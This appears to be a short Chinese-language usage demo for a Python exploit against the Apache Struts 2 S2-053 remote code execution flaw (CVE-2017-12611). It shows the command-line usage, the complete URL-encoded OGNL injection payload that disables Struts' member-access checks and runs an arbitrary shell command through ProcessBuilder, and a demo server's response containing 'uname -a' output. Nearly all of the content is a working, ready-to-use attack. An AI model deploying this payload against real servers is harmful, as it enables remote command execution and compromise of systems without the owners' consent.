一个用于利用 Struts 2 S2-053 (CVE-2017-12611) RCE 漏洞的简单脚本
exploit.py <url> <param> <command>
$ python s2-053-exploit.py "http://127.0.0.1" "name" "uname -a"
[*] 生成的 EXP: http://127.0.0.1/?name=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27uname%20-a%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27/bin/bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D
[*] 正在利用...
[+] 响应: <html>
<head>
<title>S2-053 Demo</title>
</head>
<body>
<h1>S2-053 Demo</h1>
<hr/>
Your name: Linux a66c177c2326 4.4.0-70-generic ;jsessionid=64A259D92EC63543AD72E6AA847319C9#91-Ubuntu SMP Wed Mar 22 12:47:43 UTC 2017 x86_64 GNU/Linux
<hr/>
Enter your name here:<br/>
<form action="" method="get">
<input type="text" name="name" value="" />
<input type="submit" value="Submit" />
</form>
<br/><br/><br/>
<p>See more at: <a href="https://github.com/Medicean/VulApps/tree/master/s/struts2/s2-053">VulApps - S2-053</a></p>
</body>
</html>
[+] 利用完成！